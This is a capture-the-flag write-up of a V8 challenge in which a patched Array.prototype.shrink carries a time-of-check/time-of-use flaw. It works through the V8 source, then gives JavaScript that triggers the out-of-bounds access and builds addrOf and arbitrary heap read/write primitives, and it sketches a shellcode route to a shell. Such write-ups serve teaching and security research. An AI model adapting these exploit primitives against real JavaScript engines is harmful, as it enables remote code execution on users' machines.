Securinets
Challenge | Category | Points | Solves |
---|---|---|---|
Sukunahikona | v8, toctou | 487 pts | 14 |
Sukunahikona
though I think most people solve it through N-days, the intended solve is quite cool since it requires you to actually read the V8 source code which is my first timer :D
btw the author also write an official writeup for this challenge, give it a read! https://buddurid.me/2025/10/04/securinets-quals-2025
Description
i ran out of descriptions . Just solve it ig ??!!
nc pwn-14caf623.p1.securinets.tn 9003
Analysis
The Patch
this is the REVISION which seems to date back to June 2024 and is how probably people used to find N-days.
5a2307d0f2c5b650c6858e2b9b57b335a59946ff
we're also given the build arguments from which we know sandbox is disabled yey :D
# Build arguments go here.
# See "gn args <out_dir> --list" for available build arguments.
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
dcheck_always_on = false
use_goma = false
v8_code_pointer_sandboxing = false
in the given patch file, we can see that it registers one new function to JSArray
.
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index ea45a7ada6b..2552c286b60 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -624,6 +624,45 @@ BUILTIN(ArrayShift) {
return GenericArrayShift(isolate, receiver, length);
}
+BUILTIN(ArrayShrink) {
+ HandleScope scope(isolate);
+ Factory *factory = isolate->factory();
+ Handle<Object> receiver = args.receiver();
+
+ if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
+ THROW_NEW_ERROR_RETURN_FAILURE(
+ isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+ factory->NewStringFromAsciiChecked("Oldest trick in the book"))
+ );
+ }
+
+ Handle<JSArray> array = Cast<JSArray>(receiver);
+
+ if (args.length() != 2) {
+ THROW_NEW_ERROR_RETURN_FAILURE(
+ isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+ factory->NewStringFromAsciiChecked("specify length to shrink to "))
+ );
+ }
+
+
+ uint32_t old_len = static_cast<uint32_t>(Object::NumberValue(array->length()));
+
+ Handle<Object> new_len_obj;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, new_len_obj, Object::ToNumber(isolate, args.at(1)));
+ uint32_t new_len = static_cast<uint32_t>(Object::NumberValue(*new_len_obj));
+
+ if (new_len >= old_len){
+ THROW_NEW_ERROR_RETURN_FAILURE(
+ isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+ factory->NewStringFromAsciiChecked("invalid length"))
+ );
+ }
+
+ array->set_length(Smi::FromInt(new_len));
+
+ return ReadOnlyRoots(isolate).undefined_value();
+}
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index 48249695b7b..c8c5c2eda25 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -2535,6 +2535,9 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
true);
SimpleInstallFunction(isolate_, proto, "concat",
Builtin::kArrayPrototypeConcat, 1, false);
+
+ SimpleInstallFunction(isolate_, proto, "shrink",
+ Builtin::kArrayShrink, 1, false);
SimpleInstallFunction(isolate_, proto, "copyWithin",
Builtin::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill", Builtin::kArrayPrototypeFill,
the new function can be called as follows
var arr = [1.1, 1.2, 1.3];
console.log("original length: " + arr.length);
arr.shrink(1)
console.log("shrink length: " + arr.length);
and as we run it, the length of the JSArray
does got overwritten but not with the length of the actual elements.
gef➤ run
Starting program: /home/nordrljos/Shared/Securinets/Sukunahikona/server/d8 --allow-natives-syntax --shell exp.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff7bff6c0 (LWP 4607)]
[New Thread 0x7ffff73fe6c0 (LWP 4608)]
[New Thread 0x7ffff6bfd6c0 (LWP 4609)]
original length: 3
shrink length: 1
V8 version 12.8.0 (candidate)
d8> dp(arr)
DebugPrint: 0x376200042fed: [JSArray]
- map: 0x3762001cb86d <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x3762001cb1c5 <JSArray[0]>
- elements: 0x376200042fcd <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 1
- properties: 0x376200000725 <FixedArray[0]>
- All own properties (excluding elements): {
0x376200000d99: [String] in ReadOnlySpace: #length: 0x376200025fed <AccessorInfo name= 0x376200000d99 <String[6]: #length>, data= 0x376200000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor
}
- elements: 0x376200042fcd <FixedDoubleArray[3]> {
0: 1.1
1: 1.2
2: 1.3
}
gef> v8 0x376200042fcd
0x376200042fcd: [FixedDoubleArray]
- map: 0x3762000008a9 <Map(FIXED_DOUBLE_ARRAY_TYPE)>
- length: 3
0: 1.1
1: 1.2
2: 1.3
and thus one might ask how this can lead to memory corruption? sure we can create a discrepancy between the arrays and elements object in terms of length, but there's an actual check ensuring the new length will never be bigger than the old length.
Stream to Sink
well, this is exactly my mistake, somehow during the competition, not a single thought crossed my mind the fact that javascript is a dynamically typed language. I'm so used to working with statically typed language that I automatically assumed the function can only be called with integers.
when in fact, this would theoretically also work:
var some_object = {};
var arr = [1.1, 1.2, 1.3];
arr.shrink(some_object)
this is due to there's no check whether the argument passed to it is a number, rather it is coded to behave specifically to accept non numbers argument. we can see in the highlighted line below, it does check the reference object to be an JSArray
type.
if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
THROW_NEW_ERROR_RETURN_FAILURE(
isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
factory->NewStringFromAsciiChecked("Oldest trick in the book"))
);
}
however, the subsequent code doesn't perform an IsNumber
check, it rather calls Object::ToNumber
as shown below
Handle<Object> new_len_obj;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, new_len_obj, Object::ToNumber(isolate, args.at(1)));
uint32_t new_len = static_cast<uint32_t>(Object::NumberValue(*new_len_obj));
to investigate this behaviour further let's read the source code. after I clone the v8 source code, I immediately revert to the commit hash and apply the diff patch
PS v8> git checkout 5a2307d0f2c5b650c6858e2b9b57b335a59946ff
Updating files: 100% (6914/6914), done.
Previous HEAD position was ac846b1a80e Reland "[turboshaft] Extend BranchElimination to eliminate Switches"
HEAD is now at 5a2307d0f2c Avoid allocating duplicate "type" strings in wasm-js.cc
PS v8> git apply --ignore-space-change --ignore-whitespace --exclude=to_give/d8 --exclude=to_give/snapshot_blob.bin .\patch
first, lets figure out what ASSIGN_RETURN_FAILURE_ON_EXCEPTION
actually does
#define ASSIGN_RETURN_ON_EXCEPTION_VALUE(isolate, dst, call, value) \
do { \
if (!(call).ToHandle(&dst)) { \
DCHECK((isolate)->has_exception()); \
return value; \
} \
} while (false)
#define ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, dst, call) \
do { \
auto* __isolate__ = (isolate); \
ASSIGN_RETURN_ON_EXCEPTION_VALUE(__isolate__, dst, call, \
ReadOnlyRoots(__isolate__).exception()); \
} while (false)
#define ASSIGN_RETURN_ON_EXCEPTION(isolate, dst, call) \
ASSIGN_RETURN_ON_EXCEPTION_VALUE(isolate, dst, call, kNullMaybeHandle)
so the macro basically calls call
with dst
as its parameter and if something wrong, return from the current routine with value
.
so instinctively, the next function to check is Object::ToNumber
. the function first checks if input
is a number. if it is, return it else it converts input
to number via ConvertToNumber
MaybeHandle<Number> Object::ToNumber(Isolate* isolate, Handle<Object> input) {
if (IsNumber(*input)) return Cast<Number>(input); // Shortcut.
return ConvertToNumber(isolate, input);
}
ConvertToNumber
loops over, performing multiple conversion if needed until input
is a number. every case is either a cast or throws an error.
MaybeHandle<Number> Object::ConvertToNumber(Isolate* isolate,
Handle<Object> input) {
while (true) {
if (IsNumber(*input)) {
return Cast<Number>(input);
}
if (IsString(*input)) {
return String::ToNumber(isolate, Cast<String>(input));
}
if (IsOddball(*input)) {
return Oddball::ToNumber(isolate, Cast<Oddball>(input));
}
if (IsSymbol(*input)) {
THROW_NEW_ERROR(isolate, NewTypeError(MessageTemplate::kSymbolToNumber));
}
if (IsBigInt(*input)) {
THROW_NEW_ERROR(isolate, NewTypeError(MessageTemplate::kBigIntToNumber));
}
ASSIGN_RETURN_ON_EXCEPTION(
isolate, input,
JSReceiver::ToPrimitive(isolate, Cast<JSReceiver>(input),
ToPrimitiveHint::kNumber));
}
}
TIP
if this is my first encounter with Oddball
give this blog a read to know more about it!
I've tried to dive into the ToNumber
method of String
and Oddball
but it was too complicated for me to understand and I keep finding myself dived deeper to the rabbit hole and spending more time. luckily the default case is the most interesting one for us.
up until this point, to simulate the actual call stack, we'll have to assume that shrink is being called with an empty object such as arr.shrink({})
there's a lot of new symbol and method in JSReceiver::ToPrimitive
implementation, I've defined most of them side by side so it can be analysed more efficiently.
MaybeHandle<Object> JSReceiver::ToPrimitive(Isolate* isolate,
Handle<JSReceiver> receiver,
ToPrimitiveHint hint) {
Handle<Object> exotic_to_prim;
ASSIGN_RETURN_ON_EXCEPTION(
isolate, exotic_to_prim,
Object::GetMethod(isolate, receiver,
isolate->factory()->to_primitive_symbol()));
if (!IsUndefined(*exotic_to_prim, isolate)) {
Handle<Object> hint_string =
isolate->factory()->ToPrimitiveHintString(hint);
Handle<Object> result;
ASSIGN_RETURN_ON_EXCEPTION(
isolate, result,
Execution::Call(isolate, exotic_to_prim, receiver, 1, &hint_string));
if (IsPrimitive(*result)) return result;
THROW_NEW_ERROR(isolate,
NewTypeError(MessageTemplate::kCannotConvertToPrimitive));
}
return OrdinaryToPrimitive(isolate, receiver,
(hint == ToPrimitiveHint::kString)
? OrdinaryToPrimitiveHint::kString
: OrdinaryToPrimitiveHint::kNumber);
}
// static
MaybeHandle<Object> JSReceiver::OrdinaryToPrimitive(
Isolate* isolate, Handle<JSReceiver> receiver,
OrdinaryToPrimitiveHint hint) {
Handle<String> method_names[2];
switch (hint) {
case OrdinaryToPrimitiveHint::kNumber:
method_names[0] = isolate->factory()->valueOf_string();
method_names[1] = isolate->factory()->toString_string();
break;
case OrdinaryToPrimitiveHint::kString:
method_names[0] = isolate->factory()->toString_string();
method_names[1] = isolate->factory()->valueOf_string();
break;
}
for (Handle<String> name : method_names) {
Handle<Object> method;
ASSIGN_RETURN_ON_EXCEPTION(
isolate, method, JSReceiver::GetProperty(isolate, receiver, name));
if (IsCallable(*method)) {
Handle<Object> result;
ASSIGN_RETURN_ON_EXCEPTION(
isolate, result,
Execution::Call(isolate, method, receiver, 0, nullptr));
if (IsPrimitive(*result)) return result;
}
}
THROW_NEW_ERROR(isolate,
NewTypeError(MessageTemplate::kCannotConvertToPrimitive));
}
MaybeHandle<Object> Object::GetMethod(Isolate* isolate,
Handle<JSReceiver> receiver,
Handle<Name> name) {
Handle<Object> func;
ASSIGN_RETURN_ON_EXCEPTION(isolate, func,
JSReceiver::GetProperty(isolate, receiver, name));
if (IsNullOrUndefined(*func, isolate)) {
return isolate->factory()->undefined_value();
}
if (!IsCallable(*func)) {
THROW_NEW_ERROR(isolate, NewTypeError(MessageTemplate::kPropertyNotFunction,
func, name, receiver));
}
return func;
}
Handle<String> Factory::ToPrimitiveHintString(ToPrimitiveHint hint) {
switch (hint) {
case ToPrimitiveHint::kDefault:
return default_string();
case ToPrimitiveHint::kNumber:
return number_string();
case ToPrimitiveHint::kString:
return string_string();
}
UNREACHABLE();
}
the function starts by checking if the array have the toPrimitive
symbol defined, if it does its going to call it using the hint parameter of "number" that might've look like this
receiver[Symbol.toPrimitive]("number")
else it will attempt to call valueOf()
. if fails, it will then try to call toString()
.
Exploitation
Achieving OOB
the problem with the shrink implementation is that, all of the three functions (toPrimitive
, valueOf
and toString
) above can be defined by the user, and those defined function might alter the array's state (i.e. its length) thus bypassing the if (new_len >= old_len)
check.
this phenomenon is called Time-Of-Check vs Time-Of-Use. suppose we have an array of length 100 and an object as follows
TIP
I offer three variants, each with the sink functions. which all of are able to trigger the bug
evil = {
[Symbol.toPrimitive](hint) {
arr.length = 0;
if (hint == "number") return 99;
return null;
},
};
evil = {
toString: () => {
arr.length = 0;
return 99;
},
};
evil = {
valueOf: () => {
arr.length = 0;
return 99;
},
};
what these method does is basically alter the length of the array to 0 and returning 99 as the new_len
, which is less than old_len
and thus satisfies the condition. unknowingly by the v8 that the array length had been actually modified and was not the same as the assumed original old_len
anymore.
then when shrink is called with those object such as below
function dp(x){ %DebugPrint(x); }
function bp() { %SystemBreak(); }
let arr = new Array(100).fill(1.2);
console.log("before shrink: " + arr.length);
dp(arr);
bp();
arr.shrink(evil);
console.log("after shrink " + arr.length);
dp(arr);
we can observe that before shrink is called, JSArray
had a length of 100, same with the elements's length and such there's no discrepancy.
before shrink: 100
DebugPrint: 0x23d1000431dd: [JSArray]
- map: 0x23d1001cb8ad <Map[16](HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x23d1001cb1c5 <JSArray[0]>
- elements: 0x23d100043385 <FixedDoubleArray[100]> [HOLEY_DOUBLE_ELEMENTS]
- length: 100
- properties: 0x23d100000725 <FixedArray[0]>
- All own properties (excluding elements): {
0x23d100000d99: [String] in ReadOnlySpace: #length: 0x23d100025fed <AccessorInfo name= 0x23d100000d99 <String[6]: #length>, data= 0x23d100000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor
}
- elements: 0x23d100043385 <FixedDoubleArray[100]> {
0-99: 1.2
}
however, after shrink is called observe below that the length is as expected to be 99 but the elements now points to a FixedArray
of length 0. this is because we had overwritten the length to 0 prior it was set to 99 and it removes the elements of FixedDoubleArray
to free the reference.
after shrink 99
DebugPrint: 0x23d1000431dd: [JSArray]
- map: 0x23d1001cb8ad <Map[16](HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x23d1001cb1c5 <JSArray[0]>
- elements: 0x23d100000725 <FixedArray[0]> [HOLEY_DOUBLE_ELEMENTS]
- length: 99
- properties: 0x23d100000725 <FixedArray[0]>
- All own properties (excluding elements): {
0x23d100000d99: [String] in ReadOnlySpace: #length: 0x23d100025fed <AccessorInfo name= 0x23d100000d99 <String[6]: #length>, data= 0x23d100000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor
}
if we try to insert an element right after setting its length to 0, such as
arr.length = 0;
arr.push(1)
or
arr.length = 0;
arr[0] = 0;
the JSArray
will allocate a new holey elements heap object
DebugPrint: 0x1c8200043151: [JSArray]
- map: 0x1c82001cb8ad <Map[16](HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x1c82001cb1c5 <JSArray[0]>
- elements: 0x1c82000436a5 <FixedDoubleArray[17]> [HOLEY_DOUBLE_ELEMENTS]
- length: 99
- properties: 0x1c8200000725 <FixedArray[0]>
- All own properties (excluding elements): {
0x1c8200000d99: [String] in ReadOnlySpace: #length: 0x1c8200025fed <AccessorInfo name= 0x1c8200000d99 <String[6]: #length>, data= 0x1c8200000069 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor
}
- elements: 0x1c82000436a5 <FixedDoubleArray[17]> {
0: 0
1-16: <the_hole>
}
through observation, I found that there's some sort of pattern to the elements's length that depends on which index we assign the value to
arr[0] = 0
-> elements length 17arr[1] = 0
-> elements length 19arr[2] = 0
-> elements length 20arr[3] = 0
-> elements length 22
regardless, since the JSArray
length is now 99 we will able to perform an OOB.
another thing to note is that there's a huge offset from the reallocated elements
to JSArray
which is not large enough for our OOB to reach.
>>> elements = 0x1c82000436a5
>>> JSArray = 0x1c8200043151
>>> print(hex(elements - JSArray))
0x554
>>> hex(99*8)
'0x318'
Primitives
luckily, these space between the JSArray
and elements
are free objects than can be claimed. I found out that if we allocate another array object after triggering the vulnerability, these objects are allocated within our OOB reach.
// [...SNIPPET...]
arr.shrink(evil);
let float_arr = [1.1, 2.2, 2.3];
let obj_arr = [obj, obj]
// dumps OOB
for (let i = 0; i < 99; i++) {
console.log("arr[" + i + "] = " + ftoi(arr[i]).toString(16));
}
as can be seen in the output snippet below, we're able to identify the maps
for both arrays alongside its elements
// [...SNIPPET...]
arr[17] = 6000008a9
arr[18] = 3ff199999999999a
arr[19] = 400199999999999a
arr[20] = 4002666666666666
arr[21] = 725001cb86d
arr[22] = 600043815
// [...SNIPPET...]
d8> dp(float_arr)
DebugPrint: 0x28be00043835: [JSArray]
- map: 0x28be001cb86d <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
// [...SNIPPET...]
- elements: 0x28be00043815 <FixedDoubleArray[3]> {
0: 1.1
1: 2.2
2: 2.3
// [...SNIPPET...]
arr[23] = 40000056d
arr[24] = 4320500043205
arr[25] = 725001cb8ed
// [...SNIPPET...]
d8> dp(obj_arr)
DebugPrint: 0x28be00043855: [JSArray]
- map: 0x28be001cb8ed <Map[16](PACKED_ELEMENTS)> [FastProperties]
// [...SNIPPET...]
- elements: 0x28be00043845 <FixedArray[2]> {
0-1: 0x28be00043205 <Object map = 0x28be001d3ae1>
since we have full control towards both arrays, crafting the primitives is pretty trivial.
for AddressOf
we would just assign an object to the object_arr
then use OOB to read its elements as floats
function addrOf(obj) {
obj_arr[0] = obj;
let addr = Number(ftoi(arr[24]) & 0xffffffffn); // OOB to directly reads `obj_arr` elements as float
return BigInt(addr);
}
as for arbitrary read and write within the heap, its as simple as overwriting the float_arr
's elements pointer.
function v8Read(addr) {
if (addr % 2n == 0)
addr += 1n;
arr[22] = itof((0x6n<<32n) | (addr-0x8n)); // overwriting `float_arr` (size | elements)
return ftoi(float_arr[0])
}
function v8Write(addr, val) {
if (addr % 2n == 0)
addr += 1n;
arr[22] = itof((0x6n<<32n) | (addr-0x8n)); // overwriting `float_arr` (size | elements)
float_arr[0] = itof(val)
}
Gaining Shell
shell is also trivial, using a known technique I overwrite the backing store of dataview to point to the rwx page of an wasm instance and write shellcode into it. I've discussed this previously in my other writeup.
you can find the full exploit script here.
Flag: Securinets{shrink_is_op}